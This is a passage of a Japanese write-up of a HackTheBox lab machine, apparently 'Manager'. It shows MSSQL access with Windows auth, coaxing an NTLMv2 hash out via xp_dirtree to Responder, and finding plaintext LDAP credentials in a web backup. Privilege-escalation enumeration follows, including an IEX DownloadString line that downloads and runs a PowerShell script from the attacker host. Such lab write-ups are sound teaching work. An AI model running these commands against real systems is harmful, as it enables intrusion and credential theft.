        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        SYSVOL                                                  READ ONLY       Logon server share
```
権限なかったのでsmbは厳しそうです。mssqlあったのでここら辺はどうでしょうか？
```bash
┌──(root㉿kali)-[~/work]
└─# impacket-mssqlclient manager.htb/operator:operator@10.129.144.138
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[-] ERROR(DC01\SQLEXPRESS): Line 1: Login failed for user 'operator'.
```
ダメと言われます。Windows認証ではどうでしょうか？
```bash
┌──(root㉿kali)-[~/work]
└─# impacket-mssqlclient manager.htb/operator:operator@10.129.144.138 -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (MANAGER\Operator  guest@master)>
```
イケました！

# 初期侵入
まずは情報列挙しときます。
```powershell
SQL (MANAGER\Operator  guest@master)> select @@version;
                                                                                                                                                                                                                           
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) 
        Sep 24 2019 13:48:23 
        Copyright (C) 2019 Microsoft Corporation
        Express Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)
   

SQL (MANAGER\Operator  guest@master)> select user_name();
        
-----   
guest   

SQL (MANAGER\Operator  guest@master)> SELECT name FROM master.dbo.sysdatabases;
name     
------   
master   

tempdb   

model    

msdb     

SQL (MANAGER\Operator  guest@master)> 
```
ほう。まぁそんな感じですね。
## xp_cmdshell
コマンドを実行できるか試しておきます。
```powershell
SQL (MANAGER\Operator  guest@master)> Use master
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
SQL (MANAGER\Operator  guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
    
-   
0   

SQL (MANAGER\Operator  guest@master)> EXEC sp_helprotect 'xp_cmdshell'
[-] ERROR(DC01\SQLEXPRESS): Line 291: There are no matching rows on which to report.
```
ダメでした。
## NTLM搾取
`responder`を立てておきます。
```bash
┌──(root㉿kali)-[~/work]
└─# sudo responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C
```
SMBでアクセスしていきます。
```powershell
SQL (MANAGER\Operator  guest@master)> xp_dirtree '\\10.10.14.23\relay'
[-] ERROR(DC01\SQLEXPRESS): Line 1: Incorrect syntax near '\'.
SQL (MANAGER\Operator  guest@master)> exec master.dbo.xp_dirtree '\\10.10.14.23\relay'
subdirectory   depth   
------------   -----   
SQL (MANAGER\Operator  guest@master)> 
```
```bash
[+] Listening for events...                                                                                                                                 

[SMB] NTLMv2-SSP Client   : 10.129.144.138
[SMB] NTLMv2-SSP Username : MANAGER\DC01$
[SMB] NTLMv2-SSP Hash     : DC01$::MANAGER:a3c1419ac9517cac:0DED6C16E7A8AFA572F871D7D21803B6:010100000000000000291D874B06DA01738D117355CF66A20000000002000800310039003800380001001E00570049004E002D00540058004A003900330058005A0047004E004500330004003400570049004E002D00540058004A003900330058005A0047004E00450033002E0031003900380038002E004C004F00430041004C000300140031003900380038002E004C004F00430041004C000500140031003900380038002E004C004F00430041004C000700080000291D874B06DA0106000400020000000800300030000000000000000000000000300000BB7386A595F53B3D1669E4B703F2FC0B2F23E80457C225A6729708228B7914A60A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320033000000000000000000 
```
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ba6dea99-4037-cf70-a66c-aee62818e604.png)
NT来ました！！！（ん？DC？？サービスアカウントとかじゃないのか？）復号してみます！！！
```bash
┌──(root㉿kali)-[~/work]
└─# john --wordlist=./rockyou.txt hash
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
```
ダメだ。できない奴だ。
## xp_dirtree
NTLM搾取が出来ないなら`xp_dirtree`使って列挙するまでです。
列挙の仕方として、フォルダだけでなく、ファイルも出力してほしいので以下のサイトのオプションを参考にします。

https://www.sqlservercentral.com/blogs/how-to-use-xp_dirtree-to-list-all-files-in-a-folder

列挙を試していると`c:\inetpub\wwwroot`のWebの階層でうまく引っかかった。
```powershell
SQL (MANAGER\Operator  guest@master)> exec master.dbo.xp_dirtree 'c:\inetpub\wwwroot' ,0,1;
subdirectory                      depth   file   
-------------------------------   -----   ----   
about.html                            1      1   

contact.html                          1      1   

css                                   1      0   

bootstrap.css                         2      1   

responsive.css                        2      1   

style.css                             2      1   

style.css.map                         2      1   

style.scss                            2      1   

images                                1      0   

about-img.png                         2      1   

body_bg.jpg                           2      1   

call-o.png                            2      1   

call.png                              2      1   

client.jpg                            2      1   

contact-img.jpg                       2      1   

envelope-o.png                        2      1   

envelope.png                          2      1   

hero-bg.jpg                           2      1   

location-o.png                        2      1   

location.png                          2      1   

logo.png                              2      1   

menu.png                              2      1   

next-white.png                        2      1   

next.png                              2      1   

offer-img.jpg                         2      1   

prev-white.png                        2      1   

prev.png                              2      1   

quote.png                             2      1   

s-1.png                               2      1   

s-2.png                               2      1   

s-3.png                               2      1   

s-4.png                               2      1   

search-icon.png                       2      1   

index.html                            1      1   

js                                    1      0   

bootstrap.js                          2      1   

jquery-3.4.1.min.js                   2      1   

service.html                          1      1   

web.config                            1      1   

website-backup-27-07-23-old.zip       1      1   

SQL (MANAGER\Operator  guest@master)> 
```
`website-backup-27-07-23-old.zip`のファイルが気になるので実際にWebにアクセスして落としてきます。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1ba6df4d-3c36-edc0-22fc-cd2b8974d06b.png)
中身を解凍して確認すると、色々とファイルがあります。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/3b75b10f-f218-853f-92a8-3c920515b89f.png)
`.old-conf.xml`のファイルを確認します。
```xml
┌──(root㉿kali)-[/home/kali/Downloads]
└─# cat .old-conf.xml                   
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <server>
      <host>dc01.manager.htb</host>
      <open-port enabled="true">389</open-port>
      <secure-port enabled="false">0</secure-port>
      <search-base>dc=manager,dc=htb</search-base>
      <server-type>microsoft</server-type>
      <access-user>
         <user>raven@manager.htb</user>
         <password>R4v3nBe5tD3veloP3r!123</password>
      </access-user>
      <uid-attribute>cn</uid-attribute>
   </server>
   <search type="full">
      <dir-list>
         <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
      </dir-list>
   </search>
</ldap-conf>
```
userとpasswordが記載されているので、Evil-winrmでログインしてみます。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/532a96ce-22b3-3304-6928-15471f93b80d.png)
きました！UserFlagゲットです！

# 特権昇格
## 調査
### RustHound
BloodHoundの代わりにRustHoundを使います。DockerでBuildを済ませておけば特段exeを手動で送りこむ必要もなくささっとzipファイルが手に入るのでお手軽です。

https://github.com/OPENCYBER-FR/RustHound

Buildする場合は以下のコマンドを実行しましょう。
※これはちょっと時間かかります。
```bash
┌──(root㉿kali)-[/opt/RustHound]
└─# docker build -t rusthound .
[+] Building 296.4s (11/11) FINISHED                                                                                                                        
 => [internal] load build definition from Dockerfile                                                                                                   0.1s
 => => transferring dockerfile: 368B                                                                                                                   0.0s
 => [internal] load .dockerignore                                                                                                                      0.1s
 => => transferring context: 2B                                                                                                                        0.0s
 => [internal] load metadata for docker.io/library/rust:1.64-slim-buster                                                                               2.9s
 => [1/6] FROM docker.io/library/rust:1.64-slim-buster@sha256:da66962a6c5b9cae84a6e3e9ea67da5507b91ec0b4604016e07f5077286b1b2e                        18.7s
 => => resolve docker.io/library/rust:1.64-slim-buster@sha256:da66962a6c5b9cae84a6e3e9ea67da5507b91ec0b4604016e07f5077286b1b2e                         0.0s
 => => sha256:e8da65b7aee6fe31a02a9b12e846ecb549032a0e21d23307414d1748fef914d0 194.36MB / 194.36MB                                                     7.7s
 => => sha256:da66962a6c5b9cae84a6e3e9ea67da5507b91ec0b4604016e07f5077286b1b2e 984B / 984B                                                             0.0s
 => => sha256:c761809aae5fe07769dab99f4404ca5d71a954934a74484e48eb06c0260ef484 742B / 742B                                                             0.0s
 => => sha256:085572de3c6eef7d59c5fe4feb8263dffa0425acb73747606391b2a8afec2446 4.85kB / 4.85kB                                                         0.0s
 => => sha256:4500a762c54620411ae491a547c66b61d577c1369ecbf5a7e91b4e153181854b 27.14MB / 27.14MB                                                       1.3s
 => => extracting sha256:4500a762c54620411ae491a547c66b61d577c1369ecbf5a7e91b4e153181854b                                                              3.2s
 => => extracting sha256:e8da65b7aee6fe31a02a9b12e846ecb549032a0e21d23307414d1748fef914d0                                                             10.7s
 => [internal] load build context                                                                                                                      0.1s
 => => transferring context: 532.71kB                                                                                                                  0.0s
 => [2/6] WORKDIR /usr/src/rusthound                                                                                                                   1.6s
 => [3/6] RUN apt-get -y update && apt-get -y install gcc libclang-dev clang libclang-dev libgssapi-krb5-2 libkrb5-dev libsasl2-modules-gssapi-mit m  28.6s
 => [4/6] COPY ./src/ ./src/                                                                                                                           0.1s
 => [5/6] COPY ./Cargo.toml ./Cargo.toml                                                                                                               0.1s 
 => [6/6] RUN cargo install --path .                                                                                                                 237.5s 
 => exporting to image                                                                                                                                 6.9s 
 => => exporting layers                                                                                                                                6.9s 
 => => writing image sha256:490ee8c18b28affff12ed0cb78992e21209368efd68a64772b027f2bf31f8bc8                                                           0.0s 
 => => naming to docker.io/library/rusthound  
```
Buildが出来ていればDockerでRustHoundを回します。
```bash
┌──(root㉿kali)-[/opt/RustHound]
└─# docker run -v /opt/RustHound/work:/tmp/htb rusthound -d manager.htb -i 10.129.144.30 -u 'raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -o '/tmp/htb' -z --ldaps
---------------------------------------------------
Initializing RustHound at 13:47:28 on 10/24/23
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2023-10-24T13:47:28Z INFO  rusthound] Verbosity level: Info
[2023-10-24T13:47:29Z INFO  rusthound::ldap] Connected to MANAGER.HTB Active Directory!
[2023-10-24T13:47:29Z INFO  rusthound::ldap] Starting data collection...
[2023-10-24T13:47:31Z INFO  rusthound::ldap] All data collected for NamingContext DC=manager,DC=htb
[2023-10-24T13:47:31Z INFO  rusthound::json::parser] Starting the LDAP objects parsing...
[2023-10-24T13:47:31Z INFO  rusthound::json::parser] Parsing LDAP objects finished!
[2023-10-24T13:47:31Z INFO  rusthound::json::checker] Starting checker to replace some values...
[2023-10-24T13:47:31Z INFO  rusthound::json::checker] Checking and replacing some values finished!
[2023-10-24T13:47:31Z INFO  rusthound::json::maker] 11 users parsed!
[2023-10-24T13:47:31Z INFO  rusthound::json::maker] 61 groups parsed!
[2023-10-24T13:47:31Z INFO  rusthound::json::maker] 1 computers parsed!
[2023-10-24T13:47:31Z INFO  rusthound::json::maker] 1 ous parsed!
[2023-10-24T13:47:31Z INFO  rusthound::json::maker] 1 domains parsed!
[2023-10-24T13:47:31Z INFO  rusthound::json::maker] 2 gpos parsed!
[2023-10-24T13:47:31Z INFO  rusthound::json::maker] 21 containers parsed!
[2023-10-24T13:47:31Z INFO  rusthound::json::maker] /tmp/htb/20231024134731_manager-htb_rusthound.zip created!

RustHound Enumeration Completed at 13:47:31 on 10/24/23! Happy Graphing!
```
続いて`neo4j`と`bloodhound`を起動します。
```bash
┌──(root㉿kali)-[~]
└─# neo4j console      
Directories in use:
home:         /usr/share/neo4j
config:       /usr/share/neo4j/conf
logs:         /etc/neo4j/logs
plugins:      /usr/share/neo4j/plugins
import:       /usr/share/neo4j/import
data:         /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses:     /usr/share/neo4j/licenses
run:          /var/lib/neo4j/run
Starting Neo4j.
2023-10-24 13:48:09.063+0000 INFO  Starting...
2023-10-24 13:48:10.303+0000 INFO  This instance is ServerId{943c822e} (943c822e-2b68-4657-8641-4e17a9052434)
2023-10-24 13:48:12.212+0000 INFO  ======== Neo4j 4.4.26 ========
2023-10-24 13:48:14.941+0000 INFO  Initializing system graph model for component 'security-users' with version -1 and status UNINITIALIZED
2023-10-24 13:48:14.961+0000 INFO  Setting up initial user from defaults: neo4j
2023-10-24 13:48:14.962+0000 INFO  Creating new user 'neo4j' (passwordChangeRequired=true, suspended=false)
2023-10-24 13:48:14.986+0000 INFO  Setting version for 'security-users' to 3
2023-10-24 13:48:14.989+0000 INFO  After initialization of system graph model component 'security-users' have version 3 and status CURRENT
2023-10-24 13:48:14.993+0000 INFO  Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2023-10-24 13:48:15.578+0000 INFO  Bolt enabled on localhost:7687.
2023-10-24 13:48:18.009+0000 WARN  The client is unauthorized due to authentication failure.
2023-10-24 13:48:18.263+0000 INFO  Remote interface available at http://localhost:7474/
2023-10-24 13:48:18.276+0000 INFO  id: 139452289A7629BDFCF98C634413FBAA52FD74408C9293012C8B5425A9878DF3
2023-10-24 13:48:18.276+0000 INFO  name: system
2023-10-24 13:48:18.277+0000 INFO  creationDate: 2023-10-24T13:48:13.182Z
2023-10-24 13:48:18.277+0000 INFO  Started.


┌──(root㉿kali)-[~]
└─# bloodhound
(node:7802) electron: The default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron.  See https://github.com/electron/electron/issues/23506 for more information
(node:7900) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.
```
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c9dc79e0-fe38-6b81-a8d6-760b6309581d.png)
特段気になるものはなかった。

### winPeas
以下からwinPeasのbatファイルをダウンロードし、対象端末上で実行する。

https://github.com/carlospolop/PEASS-ng/releases

```powershell
*Evil-WinRM* PS C:\Users\Raven\Documents> .\winPEASany.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD

               ((((((((((((((((((((((((((((((((                                                                                                             
        (((((((((((((((((((((((((((((((((((((((((((                                                                                                         
      ((((((((((((((**********/##########(((((((((((((                                                                                                      
    ((((((((((((********************/#######(((((((((((                                                                                                     
    ((((((((******************/@@@@@/****######((((((((((                                                                                                   
    ((((((********************@@@@@@@@@@/***,####((((((((((                                                                                                 
    (((((********************/@@@@@%@@@@/********##(((((((((                                                                                                
    (((############*********/%@@@@@@@@@/************((((((((                                                                                                
    ((##################(/******/@@@@@/***************((((((                                                                                                
    ((#########################(/**********************(((((                                                                                                
    ((##############################(/*****************(((((                                                                                                
    ((###################################(/************(((((                                                                                                
    ((#######################################(*********(((((                                                                                                
    ((#######(,.***.,(###################(..***.*******(((((                                                                                                
    ((#######*(#####((##################((######/(*****(((((                                                                                                
    ((###################(/***********(##############()(((((                                                                                                
    (((#####################/*******(################)((((((                                                                                                
    ((((############################################)((((((                                                                                                 
    (((((##########################################)(((((((                                                                                                 
    ((((((########################################)(((((((                                                                                                  
    ((((((((####################################)((((((((                                                                                                   
    (((((((((#################################)(((((((((                                                                                                    
        ((((((((((##########################)(((((((((                                                                                                      
              ((((((((((((((((((((((((((((((((((((((                                                                                                        
                 ((((((((((((((((((((((((((((((                                                                                                             

ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission. '                                      
                                                                                                                                                            
  WinPEAS-ng by @hacktricks_live                                                                                                                            

       /---------------------------------------------------------------------------------\                                                                  
       |                             Do you like PEASS?                                  |                                                                  
       |---------------------------------------------------------------------------------|                                                                  
       |         Get the latest version    :     https://github.com/sponsors/carlospolop |                                                                  
       |         Follow on Twitter         :     @hacktricks_live                        |                                                                  
       |         Respect on HTB            :     SirBroccoli                             |                                                                  
       |---------------------------------------------------------------------------------|                                                                  
       |                                 Thank you!                                      |                                                                  
       \---------------------------------------------------------------------------------/                                                                  
                                                                                                                                                            
  [+] Legend:
         Red                Indicates a special privilege over an object or something is misconfigured
         Green              Indicates that some protection is enabled or something is well configured
         Cyan               Indicates active users
         Blue               Indicates disabled users
         LightYellow        Indicates links


...省略
ÉÍÍÍÍÍÍÍÍÍÍ¹ Current UDP Listening Ports
È Check for services restricted from the outside 
  Enumerating IPv4 connections
                                                                                                                                                            
  Protocol   Local Address         Local Port    Remote Address:Remote Port     Process ID        Process Name

  UDP        0.0.0.0               123           *:*                            1036              svchost
  UDP        0.0.0.0               389           *:*                            644               lsass
  UDP        0.0.0.0               5353          *:*                            1164              svchost
  UDP        0.0.0.0               5355          *:*                            1164              svchost
  UDP        10.129.144.138        88            *:*                            644               lsass
  UDP        10.129.144.138        137           *:*                            4                 System
  UDP        10.129.144.138        138           *:*                            4                 System
  UDP        10.129.144.138        464           *:*                            644               lsass
  UDP        127.0.0.1             52117         *:*                            1328              certsrv
  UDP        127.0.0.1             55064         *:*                            2224              Microsoft.ActiveDirectory.WebServices
  UDP        127.0.0.1             55068         *:*                            2612              dfsrs
  UDP        127.0.0.1             55071         *:*                            1456              svchost
  UDP        127.0.0.1             55269         *:*                            2836              ismserv
  UDP        127.0.0.1             57557         *:*                            644               lsass
  UDP        127.0.0.1             63083         *:*                            1416              svchost
  UDP        127.0.0.1             63229         *:*                            3988              WmiPrvSE

  Enumerating IPv6 connections
                                                                                                                                                            
  Protocol   Local Address                               Local Port    Remote Address:Remote Port     Process ID        Process Name

  UDP        [::]                                        123           *:*                            1036              svchost

ÉÍÍÍÍÍÍÍÍÍÍ¹ Firewall Rules
È Showing only DENY rules (too many ALLOW rules always) 
    Current Profiles: DOMAIN
    FirewallEnabled (Domain):    True
    FirewallEnabled (Private):    True
    FirewallEnabled (Public):    True
    DENY rules:
  [X] Exception: Object reference not set to an instance of an object.

...省略
```
`certsrv`...これはあれでは？？？
まぁ他も見てみるか。

### PrivescCheck
以下のリポジトリからPoewershellを拾ってきます。

https://github.com/itm4n/PrivescCheck

```powershell
*Evil-WinRM* PS C:\Users\Raven\Documents> IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.23/PrivescCheck.ps1'); Invoke-PrivescCheck
┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0043 - Reconnaissance                           ┃
┃ NAME     ┃ User identity                                     ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Get information about the current user (name, domain name)   ┃
┃ and its access token (SID, integrity level, authentication   ┃
┃ ID).                                                         ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Informational (1 finding)


Name             : MANAGER\Raven
SID              : S-1-5-21-4078382237-1492182817-2568127209-1116
IntegrityLevel   : Medium Plus Mandatory Level (S-1-16-8448)
SessionId        : 0
TokenId          : 00000000-01c8964c
AuthenticationId : 00000000-01c892f2
OriginId         : 00000000-00000000
ModifiedId       : 00000000-01c892f9
Source           : NtLmSsp (00000000-00000000)



┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0043 - Reconnaissance                           ┃
┃ NAME     ┃ User groups                                       ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Get information about the groups the current user belongs to ┃
┃ (name, type, SID).                                           ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Informational (11 findings)

Name                                        Type           SID
----                                        ----           ---
MANAGER\Domain Users                        Group          S-1-5-21-4078382237-1492182817-2568127209-513
Everyone                                    WellKnownGroup S-1-1-0
BUILTIN\Remote Management Users             Alias          S-1-5-32-580
BUILTIN\Users                               Alias          S-1-5-32-545
BUILTIN\Pre-Windows 2000 Compatible Access  Alias          S-1-5-32-554
BUILTIN\Certificate Service DCOM Access     Alias          S-1-5-32-574
NT AUTHORITY\NETWORK                        WellKnownGroup S-1-5-2
NT AUTHORITY\Authenticated Users            WellKnownGroup S-1-5-11
NT AUTHORITY\This Organization              WellKnownGroup S-1-5-15
NT AUTHORITY\NTLM Authentication            WellKnownGroup S-1-5-64-10
Mandatory Label\Medium Plus Mandatory Level Label          S-1-16-8448


┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0004 - Privilege Escalation                     ┃
┃ NAME     ┃ User privileges                                   ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Check whether the current user has privileges (e.g.,         ┃
┃ SeImpersonatePrivilege) that can be leveraged for privilege  ┃
┃ escalation to SYSTEM.                                        ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Nothing found
┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0006 - Credential Access                        ┃
┃ NAME     ┃ User environment variables                        ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Check whether any environment variables contain sensitive    ┃
┃ information such as credentials or secrets. Note that this   ┃
┃ check follows a keyword-based approach and thus might not be ┃
┃ completely reliable.                                         ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Nothing found
┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0004 - Privilege Escalation                     ┃
┃ NAME     ┃ Non-default services                              ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Get information about third-party services. It does so by    ┃
┃ parsing the target executable s metadata and checking        ┃
┃ whether the publisher is Microsoft.                          ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Informational (9 findings)


Name        : MSSQL$SQLEXPRESS
DisplayName : SQL Server (SQLEXPRESS)
ImagePath   : "C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Binn\sqlservr.exe" -sSQLEXPRESS
User        : NT Service\MSSQL$SQLEXPRESS
StartMode   : Automatic

Name        : SQLAgent$SQLEXPRESS
DisplayName : SQL Server Agent (SQLEXPRESS)
ImagePath   : "C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Binn\SQLAGENT.EXE" -i SQLEXPRESS
User        : NT AUTHORITY\NETWORKSERVICE
StartMode   : Disabled

Name        : SQLBrowser
DisplayName : SQL Server Browser
ImagePath   : "C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe"
User        : NT AUTHORITY\LOCALSERVICE
StartMode   : Disabled

Name        : SQLTELEMETRY$SQLEXPRESS
DisplayName : SQL Server CEIP service (SQLEXPRESS)
ImagePath   : "C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Binn\sqlceip.exe" -Service SQLEXPRESS
User        : NT Service\SQLTELEMETRY$SQLEXPRESS
StartMode   : Automatic

Name        : SQLWriter
DisplayName : SQL Server VSS Writer
ImagePath   : "C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe"
User        : LocalSystem
StartMode   : Automatic

Name        : ssh-agent
DisplayName : OpenSSH Authentication Agent
ImagePath   : C:\Windows\System32\OpenSSH\ssh-agent.exe
User        : LocalSystem
StartMode   : Disabled

Name        : VGAuthService
DisplayName : VMware Alias Manager and Ticket Service
ImagePath   : "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"
User        : LocalSystem
StartMode   : Automatic

Name        : vm3dservice
DisplayName : @oem3.inf,%VM3DSERVICE_DISPLAYNAME%;VMware SVGA Helper Service
ImagePath   : C:\Windows\system32\vm3dservice.exe
User        : LocalSystem
StartMode   : Automatic

Name        : VMTools
DisplayName : VMware Tools
ImagePath   : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
User        : LocalSystem
StartMode   : Automatic



┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0004 - Privilege Escalation                     ┃
┃ NAME     ┃ Vulnerable Kernel drivers                         ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Check whether known vulnerable kernel drivers are installed. ┃
┃ It does so by computing the file hash of each driver and     ┃
┃ comparing the value against the list provided by             ┃
┃ loldrivers.io.                                               ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
Warning: Service: MpKsla7af4902 | Path not found: C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{4F476386-9BFC-43EC-A5E5-008D5A29EFE0}\MpKslDrv.sys
Warning: Service: vwifibus | Path not found: C:\Windows\System32\drivers\vwifibus.sys
[*] Result: Nothing found

...省略

┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0008 - Lateral Movement                         ┃
┃ NAME     ┃ UAC settings                                      ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Check whether User Access Control (UAC) is enabled and       ┃
┃ whether it filters the access token of local administrator   ┃
┃ accounts when they authenticate remotely.                    ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Vulnerable - Low (3 findings)


Key         : HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
Value       : EnableLUA
Data        : 1
Vulnerable  : False
Description : UAC is enabled.

Key         : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Value       : LocalAccountTokenFilterPolicy
Data        : (null)
Vulnerable  : False
Description : Only the built-in Administrator account (RID 500) can be granted a high integrity token when authenticating remotely (default).

Key         : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Value       : FilterAdministratorToken
Data        : (null)
Vulnerable  : True
Description : The built-in administrator account (RID 500) is granted a high integrity token when authenticating remotely (default).



┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0006 - Credential Access                        ┃
┃ NAME     ┃ LSA Protection                                    ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Check whether LSA protection is enabled. Note that when LSA  ┃
┃ protection is enabled, 'lsass.exe' runs as a Protected       ┃
┃ Process Light (PPL) and thus can only be accessed by other   ┃
┃ protected processes with an equivalent or higher protection  ┃
┃ level.                                                       ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[*] Result: Vulnerable - Low (1 finding)


Key         : HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Value       : RunAsPPL
Data        : (null)
Description : LSA protection is not enabled.



┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ CATEGORY ┃ TA0006 - Credential Access                        ┃
┃ NAME     ┃ Credential Guard                                  ┃
┣━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ Check whether Credential Guard is supported and enabled.     ┃
┃ Note that when Credential Guard is enabled, credentials are  ┃
┃ stored in an isolated process ('LsaIso.exe') that cannot be  ┃
